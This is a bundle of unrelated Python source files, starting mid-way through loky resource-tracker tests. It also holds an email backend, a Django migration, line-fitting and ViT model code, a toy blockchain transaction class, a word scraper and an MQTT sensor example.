killing process does not leak named resources # if (sys.platform == "win32") and rtype == "semlock": pytest.skip("no semlock on windows") cmd = f'''if 1: import time, os, tempfile, sys from loky.backend import resource_tracker from utils import create_resource for _ in range(2): rname = create_resource("{rtype}") resource_tracker.register(rname, "{rtype}") # give the resource_tracker time to register the new resource time.sleep(0.5) sys.stdout.write(f"{{rname}}\\n") sys.stdout.flush() time.sleep(10) ''' env = os.environ.copy() env['PYTHONPATH'] = os.path.dirname(__file__) p = subprocess.Popen([sys.executable, '-c', cmd], stderr=subprocess.PIPE, stdout=subprocess.PIPE, env=env, text=True) name1 = p.stdout.readline().rstrip() name2 = p.stdout.readline().rstrip() # subprocess holding a reference to lock1 is still alive, so this call # should succeed _resource_unlink(name1, rtype) p.terminate() p.wait() # wait for the resource_tracker to cleanup the leaked resources time.sleep(2.0) with pytest.raises(OSError) as ctx: _resource_unlink(name2, rtype) # docs say it should be ENOENT, but OSX seems to give EINVAL assert ctx.value.errno in (errno.ENOENT, errno.EINVAL) err = p.stderr.read() p.stderr.close() p.stdout.close() expected = (f'resource_tracker: There appear to be 2 leaked {rtype}') assert re.search(expected, err) is not None # resource 1 is still registered, but was destroyed externally: the # tracker is expected to complain. if sys.platform == "win32": errno_map = {'file': 2, 'folder': 3} expected = ( f"resource_tracker: {re.escape(name1)}: " f"(WindowsError\\(({errno_map[rtype]})|FileNotFoundError)" ) else: expected = ( f"resource_tracker: {re.escape(name1)}: " f"(OSError\\({errno.ENOENT}|FileNotFoundError)" ) assert re.search(expected, err) is not None @pytest.mark.parametrize("rtype", ["file", "folder", "semlock"]) def test_resource_tracker_refcounting(self, rtype): if sys.platform == "win32" and rtype == "semlock": pytest.skip("no semlock on windows") cmd = f'''if 1: import os import tempfile import time from loky.backend import resource_tracker from utils import resource_unlink, create_resource, resource_exists resource_tracker.VERBOSE = True try: name = create_resource("{rtype}") assert resource_exists(name, "{rtype}") from loky.backend.resource_tracker import _resource_tracker _resource_tracker.register(name, "{rtype}") _resource_tracker.register(name, "{rtype}") # Forget all information about the resource, but do not try to # remove it _resource_tracker.unregister(name, "{rtype}") time.sleep(1) assert resource_exists(name, "{rtype}") _resource_tracker.register(name, "{rtype}") _resource_tracker.register(name, "{rtype}") _resource_tracker.maybe_unlink(name, "{rtype}") time.sleep(1) assert resource_exists(name, "{rtype}") _resource_tracker.maybe_unlink(name, "{rtype}") for _ in range(100): if not resource_exists(name, "{rtype}"): break time.sleep(.1) else: raise AssertionError(f"{{name}} was not unlinked in time") finally: try: if resource_exists(name, "{rtype}"): resource_unlink(name, "{rtype}") except NameError: # "name" is not defined because create_resource has failed pass ''' env = {**os.environ, 'PYTHONPATH': os.path.dirname(__file__)} p = subprocess.run([sys.executable, '-c', cmd], capture_output=True, env=env) assert p.returncode == 0, p.stderr def check_resource_tracker_death(self, signum, should_die): # bpo-31310: if the semaphore tracker process has died, it should # be restarted implicitly. from loky.backend.resource_tracker import _resource_tracker pid = _resource_tracker._pid if pid is not None: os.kill(pid, signal.SIGKILL) os.waitpid(pid, 0) with warnings.catch_warnings(): warnings.simplefilter("ignore") _resource_tracker.ensure_running() pid = _resource_tracker._pid os.kill(pid, signum) time.sleep(1.0) # give it time to die ctx = get_context("loky") with warnings.catch_warnings(record=True) as all_warn: warnings.simplefilter("always") # remove unrelated MacOS warning messages first warnings.filterwarnings( "ignore", message='semaphore are broken on OSX') sem = ctx.Semaphore() sem.acquire() sem.release() wr = weakref.ref(sem) # ensure `sem` gets collected, which triggers communication with # the resource_tracker del sem gc.collect() assert wr() is None if should_die: assert len(all_warn) == 1 the_warn = all_warn[0] assert issubclass(the_warn.category, UserWarning) assert "resource_tracker: process died" in str( the_warn.message) else: assert len(all_warn) == 0 @pytest.mark.skipif(sys.platform == "win32", reason="Limited signal support on Windows") def test_resource_tracker_sigint(self): # Catchable signal (ignored by resource tracker) self.check_resource_tracker_death(signal.SIGINT, False) @pytest.mark.skipif(sys.platform == "win32", reason="Limited signal support on Windows") def test_resource_tracker_sigterm(self): # Catchable signal (ignored by resource tracker) self.check_resource_tracker_death(signal.SIGTERM, False) @pytest.mark.skipif(sys.platform == "win32", reason="Limited signal support on Windows") def test_resource_tracker_sigkill(self): # Uncatchable signal. self.check_resource_tracker_death(signal.SIGKILL, True) @pytest.mark.skipif(sys.version_info < (3, 8), reason="SharedMemory introduced in Python 3.8") def test_loky_process_inherit_multiprocessing_resource_tracker(self): cmd = '''if 1: from loky import get_reusable_executor from multiprocessing.shared_memory import SharedMemory from multiprocessing.resource_tracker import ( _resource_tracker as mp_resource_tracker ) def mp_rtracker_getattrs(): from multiprocessing.resource_tracker import ( _resource_tracker as mp_resource_tracker ) return mp_resource_tracker._fd, mp_resource_tracker._pid if __name__ == '__main__': executor = get_reusable_executor(max_workers=1) # warm up f = executor.submit(id, 1).result() # loky forces the creation of the resource tracker at process # creation so that loky processes can inherit its file descriptor. fd, pid = executor.submit(mp_rtracker_getattrs).result() assert fd == mp_resource_tracker._fd assert pid == mp_resource_tracker._pid # non-regression test for #242: unlinking in a loky process a # shared_memory segment tracked by multiprocessing and created its # parent should not generate warnings. shm = SharedMemory(create=True, size=10) f = executor.submit(shm.unlink).result() ''' p = subprocess.run([sys.executable, '-c', cmd], capture_output=True, text=True) assert not p.stdout assert not p.stderr
python
from abc import ABC, abstractmethod from datetime import datetime from typing import List, Optional, Tuple, Any, Dict, Iterable, Generator import yaml from smart_open import smart_open from blurr.core import logging from blurr.core.aggregate_block import BlockAggregate, TimeAggregate from blurr.core.errors import PrepareWindowMissingBlocksError from blurr.core.evaluation import Context from blurr.core.record import Record from blurr.core.schema_loader import SchemaLoader from blurr.core.store import Store from blurr.core.store_key import Key from blurr.core.transformer_streaming import StreamingTransformer, StreamingTransformerSchema from blurr.core.transformer_window import WindowTransformer from blurr.core.type import Type from blurr.runner.data_processor import DataProcessor TimeAndRecord = Tuple[datetime, Record] class Runner(ABC): """ An abstract class that provides functionality to: - Convert raw events in Records - Process a list of Records for a user. A class that inherits from Runner should do the following: 1. Call `get_per_identity_records()` using an iterator of the events available. This returns a generator which creates a Tuple[Identity, TimeAndRecord]] output. 2. The Tuple[Identity, TimeAndRecord]] output should be grouped together by the Identity to create a List of TimeAndRecord per identity. 3. Using the per identity list of TimeAndRecord `execute_per_identity_records()` should be called. - This returns Tuple[Identity, Tuple[Streaming BTS State, List of Window BTS output]]. - `execute_per_identity_records()` can take in a existing old_state (old Streaming BTS State) so as to allow batch execution to make use of previous output. """ def __init__(self, stream_bts_file: str, window_bts_file: Optional[str]): self._stream_bts = yaml.safe_load(smart_open(stream_bts_file)) self._window_bts = None if window_bts_file is None else yaml.safe_load( smart_open(window_bts_file)) # TODO: Assume validation will be done separately. # This causes a problem when running the code on spark # as the validation yml file is inside the archived package # and yamale is not able to read that. # validate_schema_spec(self._stream_bts) # if self._window_bts is not None: # validate_schema_spec(self._window_bts) def execute_per_identity_records( self, identity: str, records: List[TimeAndRecord], old_state: Optional[Dict[Key, Any]] = None) -> Tuple[str, Tuple[Dict, List]]: """ Executes the streaming and window BTS on the given records. An option old state can provided which initializes the state for execution. This is useful for batch execution where the previous state is written out to storage and can be loaded for the next batch run. :param identity: Identity of the records. :param records: List of TimeAndRecord to be processed. :param old_state: Streaming BTS state dictionary from a previous execution. :return: Tuple[Identity, Tuple[Identity, Tuple[Streaming BTS state dictionary, List of window BTS output]]. """ schema_loader = SchemaLoader() if records: records.sort(key=lambda x: x[0]) else: records = [] block_data = self._execute_stream_bts(records, identity, schema_loader, old_state) window_data = self._execute_window_bts(identity, schema_loader) return identity, (block_data, window_data) def get_per_identity_records(self, events: Iterable, data_processor: DataProcessor ) -> Generator[Tuple[str, TimeAndRecord], None, None]: """ Uses the given iteratable events and the data processor convert the event into a list of Records along with its identity and time. :param events: iteratable events. :param data_processor: DataProcessor to process each event in events. :return: yields Tuple[Identity, TimeAndRecord] for all Records in events, """ schema_loader = SchemaLoader() stream_bts_name = schema_loader.add_schema_spec(self._stream_bts) stream_transformer_schema: StreamingTransformerSchema = schema_loader.get_schema_object( stream_bts_name) for event in events: try: for record in data_processor.process_data(event): try: id = stream_transformer_schema.get_identity(record) time = stream_transformer_schema.get_time(record) yield (id, (time, record)) except Exception as err: logging.error('{} in parsing Record {}.'.format(err, record)) except Exception as err: logging.error('{} in parsing Event {}.'.format(err, event)) def _execute_stream_bts(self, identity_events: List[TimeAndRecord], identity: str, schema_loader: SchemaLoader, old_state: Optional[Dict] = None) -> Dict[Key, Any]: if self._stream_bts is None: return {} stream_bts_name = schema_loader.add_schema_spec(self._stream_bts) stream_transformer_schema = schema_loader.get_schema_object(stream_bts_name) store = self._get_store(schema_loader) if old_state: for k, v in old_state.items(): store.save(k, v) if identity_events: stream_transformer = StreamingTransformer(stream_transformer_schema, identity) for time, event in identity_events: stream_transformer.run_evaluate(event) stream_transformer.run_finalize() return self._get_store(schema_loader).get_all(identity) def _execute_window_bts(self, identity: str, schema_loader: SchemaLoader) -> List[Dict]: if self._window_bts is None: logging.debug('Window BTS not provided') return [] stream_transformer = StreamingTransformer( self._get_streaming_transformer_schema(schema_loader), identity) all_data = self._get_store(schema_loader).get_all(identity) stream_transformer.run_restore(all_data) exec_context = Context() exec_context.add(stream_transformer._schema.name, stream_transformer) block_obj = None for aggregate in stream_transformer._nested_items.values(): if not isinstance(aggregate, TimeAggregate): continue if block_obj is not None: raise Exception(('Window operation is supported against Streaming ', 'BTS with only one BlockAggregate')) block_obj = aggregate if block_obj is None: raise Exception('No BlockAggregate found in the Streaming BTS file') window_data = [] window_bts_name = schema_loader.add_schema_spec(self._window_bts) window_transformer_schema = schema_loader.get_schema_object(window_bts_name) window_transformer = WindowTransformer(window_transformer_schema, identity, exec_context) logging.debug('Running Window BTS for identity {}'.format(identity)) anchors = 0 blocks = 0 for key, data in all_data.items(): if key.group != block_obj._schema.name: continue try: blocks += 1 if window_transformer.run_evaluate(block_obj.run_restore(data)): anchors += 1 window_data.append(window_transformer.run_flattened_snapshot) except PrepareWindowMissingBlocksError as err: logging.debug('{} with {}'.format(err, key)) if anchors == 0: logging.debug('No anchors found for identity {} out of {} blocks'.format( identity, blocks)) return window_data @staticmethod def _get_store(schema_loader: SchemaLoader) -> Store: stores = schema_loader.get_all_stores() if not stores: fq_name_and_schema = schema_loader.get_schema_specs_of_type( Type.BLURR_STORE_DYNAMO, Type.BLURR_STORE_MEMORY) return schema_loader.get_store(next(iter(fq_name_and_schema))) return stores[0] @staticmethod def _get_streaming_transformer_schema( schema_loader: SchemaLoader) -> StreamingTransformerSchema: fq_name_and_schema = schema_loader.get_schema_specs_of_type(Type.BLURR_TRANSFORM_STREAMING) return schema_loader.get_schema_object(next(iter(fq_name_and_schema))) @abstractmethod def execute(self, *args, **kwargs): NotImplemented('execute must be implemented') @abstractmethod def write_output_file(self, *args, **kwargs): NotImplemented('execute must be implemented') @abstractmethod def print_output(self, *args, **kwargs): NotImplemented('execute must be implemented')
python
from .base_requests import AnymailRequestsBackend, RequestsPayload from ..exceptions import AnymailRequestsAPIError from ..message import AnymailRecipientStatus from ..utils import get_anymail_setting class EmailBackend(AnymailRequestsBackend): """ Postal v1 API Email Backend """ esp_name = "Postal" def __init__(self, **kwargs): """Init options from Django settings""" esp_name = self.esp_name self.api_key = get_anymail_setting( "api_key", esp_name=esp_name, kwargs=kwargs, allow_bare=True ) # Required, as there is no hosted instance of Postal api_url = get_anymail_setting("api_url", esp_name=esp_name, kwargs=kwargs) if not api_url.endswith("/"): api_url += "/" super().__init__(api_url, **kwargs) def build_message_payload(self, message, defaults): return PostalPayload(message, defaults, self) def parse_recipient_status(self, response, payload, message): parsed_response = self.deserialize_json_response(response, payload, message) if parsed_response["status"] != "success": raise AnymailRequestsAPIError( email_message=message, payload=payload, response=response, backend=self ) # If we get here, the send call was successful. messages = parsed_response["data"]["messages"] return { email: AnymailRecipientStatus(message_id=details["id"], status="queued") for email, details in messages.items() } class PostalPayload(RequestsPayload): def __init__(self, message, defaults, backend, *args, **kwargs): http_headers = kwargs.pop("headers", {}) http_headers["X-Server-API-Key"] = backend.api_key http_headers["Content-Type"] = "application/json" http_headers["Accept"] = "application/json" super().__init__( message, defaults, backend, headers=http_headers, *args, **kwargs ) def get_api_endpoint(self): return "api/v1/send/message" def init_payload(self): self.data = {} def serialize_data(self): return self.serialize_json(self.data) def set_from_email(self, email): self.data["from"] = str(email) def set_subject(self, subject): self.data["subject"] = subject def set_to(self, emails): self.data["to"] = [str(email) for email in emails] def set_cc(self, emails): self.data["cc"] = [str(email) for email in emails] def set_bcc(self, emails): self.data["bcc"] = [str(email) for email in emails] def set_reply_to(self, emails): if len(emails) > 1: self.unsupported_feature("multiple reply_to addresses") if len(emails) > 0: self.data["reply_to"] = str(emails[0]) def set_extra_headers(self, headers): self.data["headers"] = headers def set_text_body(self, body): self.data["plain_body"] = body def set_html_body(self, body): if "html_body" in self.data: self.unsupported_feature("multiple html parts") self.data["html_body"] = body def make_attachment(self, attachment): """Returns Postal attachment dict for attachment""" att = { "name": attachment.name or "", "data": attachment.b64content, "content_type": attachment.mimetype, } if attachment.inline: # see https://github.com/postalhq/postal/issues/731 # but it might be possible with the send/raw endpoint self.unsupported_feature('inline attachments') return att def set_attachments(self, attachments): if attachments: self.data["attachments"] = [ self.make_attachment(attachment) for attachment in attachments ] def set_envelope_sender(self, email): self.data["sender"] = str(email) def set_tags(self, tags): if len(tags) > 1: self.unsupported_feature("multiple tags") if len(tags) > 0: self.data["tag"] = tags[0] def set_esp_extra(self, extra): self.data.update(extra)
python
# encoding: utf-8 # module NationalInstruments.RFmx calls itself RFmx # from NationalInstruments.RFmx.InstrMX.Fx40, Version=19.1.0.49152, Culture=neutral, PublicKeyToken=dc6ad606294fc298 # by generator 1.145 # no doc # no imports # no functions # no classes # variables with complex values
python
from ..mime import GlueMimeListWidget, LAYERS_MIME_TYPE class TestGlueMimeListWidget(object): def setup_method(self, method): self.w = GlueMimeListWidget() def test_mime_type(self): assert self.w.mimeTypes() == [LAYERS_MIME_TYPE] def test_mime_data(self): self.w.set_data(3, 'test data') self.w.set_data(4, 'do not pick') mime = self.w.mimeData([3]) mime.data(LAYERS_MIME_TYPE) == ['test data'] def test_mime_data_multiselect(self): self.w.set_data(3, 'test data') self.w.set_data(4, 'also pick') mime = self.w.mimeData([3, 4]) mime.data(LAYERS_MIME_TYPE) == ['test data', 'also pick']
python
# Generated by Django 2.0.5 on 2018-05-07 13:56 import django.contrib.postgres.fields from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Ticket', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('email', models.EmailField(max_length=254)), ('name', models.TextField()), ('kw', models.IntegerField()), ('year', models.IntegerField()), ('entry_date', models.TimeField(auto_now_add=True)), ('edited', models.TimeField(auto_now=True)), ('availability', django.contrib.postgres.fields.ArrayField(base_field=models.CharField(choices=[('1', 'Monday'), ('2', 'Tuesday'), ('3', 'Wednesday'), ('4', 'Thursday'), ('5', 'Friday')], max_length=1), size=None)), ], ), ]
python
import torch import torch.nn.functional as F import random class NGDSAC: ''' Neural-Guided DSAC to robustly fit lines. ''' def __init__(self, hyps, inlier_thresh, inlier_beta, inlier_alpha, loss_function, invalid_loss): ''' Constructor. hyps -- number of line hypotheses sampled for each image inlier_thresh -- threshold used in the soft inlier count, its measured in relative image size inlier_beta -- scaling factor within the sigmoid of the soft inlier count inlier_alpha -- scaling factor for the soft inlier scores (controls the peakiness of the hypothesis distribution) loss_function -- function to compute the quality of estimated line parameters wrt ground truth invalid_loss -- punishment when sampling invalid hypothesis ''' self.hyps = hyps self.inlier_thresh = inlier_thresh self.inlier_beta = inlier_beta self.inlier_alpha = inlier_alpha self.loss_function = loss_function self.invalid_loss = invalid_loss def __sample_hyp(self, x, y, p, pool): ''' Calculate a line hypothesis (slope, intercept) from two random points. x -- vector of x values y -- vector of y values p -- sampling probabilities for selecting points pool -- indicator vector updated with which points have been selected ''' # select points idx = torch.multinomial(p, 2, replacement = True) idx1 = int(idx[0]) idx2 = int(idx[1]) # set indicators which points have been selected pool[idx1] += 1 pool[idx2] += 1 # validity check, do not choose too close together if torch.abs(x[idx1] - x[idx2]) < 0.05: return 0, 0, False # no valid hypothesis found, indicated by False # calculate line parameters slope = (y[idx1] - y[idx2]) / (x[idx1] - x[idx2]) intercept = y[idx1] - slope * x[idx1] return slope, intercept, True # True indicates a valid hypothesos def __soft_inlier_count(self, slope, intercept, x, y): ''' Soft inlier count for a given line and a given set of points. slope -- slope of the line intercept -- intercept of the line x -- vector of x values y -- vector of y values ''' # point line distances dists = torch.abs(slope * x - y + intercept) dists = dists / torch.sqrt(slope * slope + 1) # soft inliers dists = 1 - torch.sigmoid(self.inlier_beta * (dists - self.inlier_thresh)) score = torch.sum(dists) return score, dists def __call__(self, prediction, log_probs, labels, xStart, xEnd, imh): ''' Perform robust, differentiable line fitting according to NG-DSAC. Returns the expected loss and hypothesis distribution entropy. Expected loss can be used for backprob, entropy for monitoring / debugging. prediction -- predicted 2D points for a batch of images, array of shape (Bx2xN) where B is the number of images in the batch 2 is the number of point dimensions (y, x) N is the number of predicted points log_probs -- log of selection probabilities, array of shape (BxN) labels -- ground truth labels for the batch, array of shape (Bx2) where 2 is the number of parameters (intercept, slope) xStart -- x-values where each ground truth line starts (for calculating the loss), array of shape (B) xEnd -- x-values where each ground truth line ends (for calculating the loss), array of shape (B) imh -- relative height of the image (for calculating the loss), <= 1, array of shape (B) ''' # faster on CPU because of many, small matrices prediction = prediction.cpu() batch_size = prediction.size(0) avg_exp_loss = 0 # expected loss avg_entropy = 0 # hypothesis distribution entropy self.est_parameters = torch.zeros(batch_size, 2) # estimated lines (w/ max inliers) self.batch_inliers = torch.zeros(batch_size, prediction.size(2)) # (soft) inliers for estimated lines self.g_log_probs = torch.zeros(batch_size, prediction.size(2)) # gradient tensor for neural guidance for b in range(0, batch_size): hyp_losses = torch.zeros([self.hyps, 1]) # loss of each hypothesis hyp_scores = torch.zeros([self.hyps, 1]) # score of each hypothesis max_score = 0 # score of best hypothesis y = prediction[b, 0] # all y-values of the prediction x = prediction[b, 1] # all x.values of the prediction p = torch.exp(log_probs[b]) # selection probabilities for points for h in range(0, self.hyps): # === step 1: sample hypothesis =========================== slope, intercept, valid = self.__sample_hyp(x, y, p, self.g_log_probs[b]) if not valid: hyp_losses[h] = self.invalid_loss hyp_scores[h] = 0.0001 continue # skip other steps for invalid hyps # === step 2: score hypothesis using soft inlier count ==== score, inliers = self.__soft_inlier_count(slope, intercept, x, y) hyp = torch.zeros([2]) hyp[1] = slope hyp[0] = intercept # === step 3: calculate loss of hypothesis ================ loss = self.loss_function(hyp, labels[b], xStart[b], xEnd[b], imh[b]) # store results hyp_losses[h] = loss hyp_scores[h] = score # keep track of best hypothesis so far if score > max_score: max_score = score self.est_parameters[b] = hyp.detach() self.batch_inliers[b] = inliers.detach() # === step 4: calculate the expectation =========================== #softmax distribution from hypotheses scores hyp_scores = F.softmax(self.inlier_alpha * hyp_scores, 0) # expectation of loss avg_exp_loss += torch.sum(hyp_losses * hyp_scores) return avg_exp_loss / batch_size
python
import Signatures class Tx: inputs = None #input addreses outputs = None #output addreses sigs = None # signatures reqd = None #required signatures that are not inputs def __init__(self): self.inputs = [] self.outputs = [] self.sigs = [] self.reqd = [] def add_input(self,from_addr, amount): self.inputs.append((from_addr,amount)) def add_output(self,to_addr, amount): self.outputs.append((to_addr,amount)) def add_reqd(self,addr): self.reqd.append(addr) def sign(self,private): message = self.__gather() newsig = Signatures.sign(message,private) self.sigs.append(newsig) def is_valid(self): total_in = 0 total_out = 0 message = self.__gather() for addr,amount in self.inputs: found = False for s in self.sigs: if Signatures.verify(message,s,addr): found = True if not found: return False if amount < 0: return False total_in = total_in + amount for addr in self.reqd: found = False for s in self.sigs: if Signatures.verify(message,s,addr): found = True if not found: return False for addr, amount in self.outputs: if amount <0: return False total_out = total_out + amount # if total_out > total_in: # return False return True def __gather(self): data = [] data.append(self.inputs) data.append(self.outputs) data.append(self.reqd) return data def __repr__(self): reprstr = "INPUTS:\n" for addr, amount in self.inputs: reprstr = reprstr + str(amount) + " from " + str(addr) + "\n" reprstr = reprstr + "OUTPUTS:\n" for addr, amount in self.outputs: reprstr = reprstr + str(amount) + " to " + str(addr) + "\n" reprstr = reprstr + "REQD:\n" for r in self.reqd: reprstr = reprstr + str(r) + "\n" reprstr = reprstr + "SIGS:\n" for s in self.sigs: reprstr = reprstr + str(s) + "\n" reprstr = reprstr + "END\n" return reprstr if __name__ == "__main__": pr1,pu1 = Signatures.generate_keys() pr2,pu2 = Signatures.generate_keys() pr3,pu3 = Signatures.generate_keys() pr4,pu4 = Signatures.generate_keys() Tx1 = Tx() Tx1.add_input(pu1,1) Tx1.add_output(pu2,1) Tx1.sign(pr1) Tx2 = Tx() Tx2.add_input(pu1,2) Tx2.add_output(pu2,1) Tx2.add_output(pu3,1) Tx2.sign(pr1) Tx3 = Tx() Tx3.add_input(pu3,1.2) Tx3.add_output(pu1,1.1) Tx3.add_reqd(pu4) Tx3.sign(pr3) Tx3.sign(pr4) for t in [Tx1,Tx2,Tx3]: if t.is_valid(): print("Success! Tx is valid") else: print("Error! Tx is invalid") #Wrong signatures Tx4 = Tx() Tx4.add_input(pu1,1) Tx4.add_output(pu2,1) Tx4.sign(pr2) #Escrow TX not signed by arbiter Tx5 = Tx() Tx5.add_input(pu3,1.2) Tx5.add_output(pu1,1.1) Tx5.add_reqd(pu4) Tx5.sign(pr3) #Two input addrs, signed by one Tx6 = Tx() Tx6.add_input(pu3,1) Tx6.add_input(pu4,0.1) Tx6.add_output(pu1,1.1) Tx6.sign(pr3) #Outputs exceed inputs Tx7 = Tx() Tx7.add_input(pu4,1.2) Tx7.add_output(pu1,1) Tx7.add_output(pu2,2) Tx7.sign(pr4) #Negative Values Tx8 = Tx() Tx8.add_input(pu2,-1) Tx8.add_output(pu1,-1) Tx8.sign(pr2) #Modified Tx Tx9 = Tx() Tx9.add_input(pu1,1) Tx9.add_output(pu2,1) Tx9.sign(pr1) #outputs = [(pu2,1)] #changed to outputs = [(pu3,1)] Tx9.outputs[0]= (pu3,1) for t in [Tx4,Tx5,Tx6,Tx7,Tx8,Tx9]: if t.is_valid(): print("Error! Bad Tx is valid") else: print("Success! Bad Tx is invalid")
python
from rest_framework import serializers from rest_framework.fields import SerializerMethodField from .models import content_choice, visibility_choice from .models import Post as Post from backend.settings import SITE_ADDRESS from author.serializers import AuthorSerializer from comment.serializers import ChoiceField, CommentSerializer from django.http import JsonResponse class PostsSerializer(serializers.ModelSerializer): id = serializers.SerializerMethodField() type = serializers.SerializerMethodField() author = serializers.SerializerMethodField() source = serializers.SerializerMethodField('get_source_id') origin = serializers.SerializerMethodField('get_origin_id') contentType = ChoiceField(choices=content_choice) visibility = ChoiceField(choices=visibility_choice) comments = serializers.SerializerMethodField() count = serializers.SerializerMethodField() class Meta: model = Post fields = ("type", "id", "author", "title", "visibility","description","content", "contentType", "source", "origin","count","categories","comments", "unlisted","published") def get_type(self, obj): return "post" def get_author(self, obj): return AuthorSerializer(obj.author_id).data def get_id(self, obj): return f"{SITE_ADDRESS}author/{obj.author_id.pk}/posts/{obj.post_id}/" def get_origin_id(self, obj): if obj.origin: return obj.origin else: return f"{SITE_ADDRESS}author/{obj.author_id.pk}/posts/{obj.post_id}/" def get_source_id(self,obj): if obj.source: return obj.source else: return f"{SITE_ADDRESS}author/{obj.author_id.pk}/posts/{obj.post_id}/" def get_comments(self,obj): return f"{SITE_ADDRESS}author/{obj.author_id.pk}/posts/{obj.post_id}/comments/" def get_count(slef,obj): return Post.objects.get(pk=obj.post_id).post_comments.all().count()
python
#!/usr/bin/env python3 # -*- coding: utf-8 -*- __author__ = 'ipetrash' import time import requests from bs4 import BeautifulSoup session = requests.session() session.headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0' words = [] for page in range(1, 94+1): if page == 1: url = 'https://synonymonline.ru/%D0%A0' else: url = f'https://synonymonline.ru/%D0%A0?page={page}' rs = session.get(url) root = BeautifulSoup(rs.content, 'html.parser') for a in root.select('ul.words-list > li > a'): word = a.text.lower() if word.startswith('ре') and word.endswith('р'): words.append(word) time.sleep(0.3) print(words) # ['реактор', 'реакционер', 'реальгар', 'реаниматор', 'ребризер', 'реверсер', # 'реверсор', 'ревизор', 'револьвер', 'революционер', 'регар', 'регенератор', # 'регистр', 'регистратор', 'регулятор', 'регур', 'ред-ривер', 'редактор', # 'редуктор', 'реестр', 'режиссер', 'резервуар', 'резистер', 'резистивиметр', # 'резистор', 'резонатор', 'резонер', 'резус-фактор', 'рейбер', 'рейбор', # 'рейвер', 'рейдер', 'рейнджер', 'рейнир', 'рейсфедер', 'рейтар', 'рейтер', # 'рейхсвер', 'рейхсканцлер', 'рекетер', 'рекетмейстер', 'реклаймер', # 'реконструктор', 'рекордер', 'рекрутер', 'ректификатор', 'ректор', 'рекуператор', # 'релаксатор', 'рельсотранспортер', 'реляксатор', 'ремер', 'ремитер', 'ремонтер', # 'рентгенгенератор', 'рентгенгониометр', 'рентгенметр', 'рентгеноанализатор', # 'рентгеногониометр', 'рентгенометр', 'рентгеноспектр', 'рентгеноспектрометр', # 'рентгеностереометр', 'рентгенотелевизор', 'рентгенофотометр', 'реоанализатор', # 'реолавер', 'реометр', 'реомонитор', 'реомюр', 'реопирометр', 'реорганизатор', # 'репеллер', 'репер', 'репертуар', 'реперфоратор', 'репетир', 'репетитор', # 'репитер', 'репитор', 'репортер', 'репрессор', 'репродуктор', 'репшнур', # 'ресивер', 'рессивер', 'реставратор', 'ресторатор', 'ретардер', 'ретинопротектор', # 'ретранслятор', 'ретровир', 'ретур', 'ретушер', 'рефлектомер', 'рефлектометр', # 'рефлектор', 'реформатор', 'рефрактомер', 'рефрактометр', 'рефрактор', # 'рефрижератор', 'рефулер', 'рецептор', 'решофер']
python
import torch import torch.nn as nn from einops.layers.torch import Rearrange # This model is modified from https://github.com/lucidrains/vit-pytorch class ViT(nn.Module): def __init__(self, image_size, patch_size, dim, transformer, num_classes, channels=3, joint=True): super().__init__() num_patches = (image_size // patch_size) ** 2 patch_dim = channels * patch_size ** 2 self.joint = joint self.to_patch_embedding = nn.Sequential( Rearrange('b c (h p1) (w p2) -> b (h w) (p1 p2 c)', p1 = patch_size, p2 = patch_size), nn.Linear(patch_dim, dim), ) self.pos_embedding = nn.Parameter(torch.randn(1, num_patches, dim)) self.transformer = transformer self.mlp_head = nn.Sequential( nn.LayerNorm(dim), nn.Linear(dim, num_classes) ) def forward(self, img1, img2=None): if not self.joint: x1 = self.to_patch_embedding(img1) b, n, _ = x1.shape x1 += self.pos_embedding[:, :n] x1 = self.transformer(x1) x1 = x1.mean(dim=1) return self.mlp_head(x1) x1 = self.to_patch_embedding(img1) x2 = self.to_patch_embedding(img2) b, n, _ = x1.shape x1 += self.pos_embedding[:, :n] x2 += self.pos_embedding[:, :n] x = torch.cat((x1, x2), dim=1) x = self.transformer(x) x = self.mlp_head(x) if self.training: return x.reshape(x.shape[0] * x.shape[1], -1) else: return x.mean(dim=1)
python
import os import signal import asyncio import datetime import json import logging import edgefarm_application as ef from schema_loader import schema_read # # Using the ads_producer/encoder, you can publish a message towards ADS # ads_producer = None ads_encoder = None async def temperature_handler(msg): """This is the handler function that gets registered for `simulation/temperature`. The received data is a python dictionary. msg['payload'] is the MQTT message as received from MQTT. Here, the payload is a json message, so we convert the json to a python dictionary. This example encodes the data it into an ADS_DATA avro message. The payload in ADS_DATA is another AVRO message with a schema for a temperature sensor (see `schemas/temperature_data.avsc`) The whole ADS_DATA message is then sent to ads-node module. """ org_payload = json.loads(msg["payload"]) print(f"{msg}: payload={org_payload}") if org_payload["sensorname"] == "temperature": print(org_payload) # Generate an ADS payload with "temperature_data" schema ads_payload = { "meta": {"version": b"\x01\x00\x00"}, "data": { "time": datetime.datetime.fromtimestamp(int(org_payload["timestamp"])), "temp": float(org_payload["value"]), }, } # Send data to ads node module await ads_producer.encode_and_send(ads_encoder, ads_payload) else: print(f"Received unknown payload: {org_payload}") # List of mqtt topics and corresponding handlers # Example: # topics = { # 'simulation/temperature': temp_handler, # 'simulation/acceleration': accel_handler # } topics = {"environment/temperature": temperature_handler} async def main(): global ads_producer, ads_encoder loop = asyncio.get_event_loop() # Initialize EdgeFarm SDK if os.getenv("IOTEDGE_MODULEID") is not None: await ef.application_module_init_from_environment(loop) else: print("Warning: Running example outside IOTEDGE environment") await ef.application_module_init(loop, "", "", "") ads_producer = ef.AdsProducer() # Create an encoder for an application specific payload payload_schema = schema_read(__file__, "temperature_data") ads_encoder = ef.AdsEncoder( payload_schema, schema_name="temperature_data", schema_version=(1, 0, 0), tags={"monitor": "channel1"}, ) # Connect to EdgeFarm service module mqtt-bridge and register the MQTT subjects we want to receive mqtt_client = ef.AlmMqttModuleClient() for mqtt_topic, handler in topics.items(): print(f"Registering to '{mqtt_topic}'") await mqtt_client.subscribe(mqtt_topic, handler) # # The following shuts down gracefully when SIGINT or SIGTERM is received # stop = {"stop": False} def signal_handler(): stop["stop"] = True for sig in ("SIGINT", "SIGTERM"): loop.add_signal_handler(getattr(signal, sig), signal_handler) while not stop["stop"]: await asyncio.sleep(1) print("Unsubscribing and shutting down...") await mqtt_client.close() await ef.application_module_term() if __name__ == "__main__": logging.basicConfig( level=os.environ.get("LOGLEVEL", "INFO").upper(), format="%(asctime)s %(name)-12s %(levelname)-8s %(message)s", datefmt="%Y-%m-%d %H:%M:%S", ) asyncio.run(main())
python
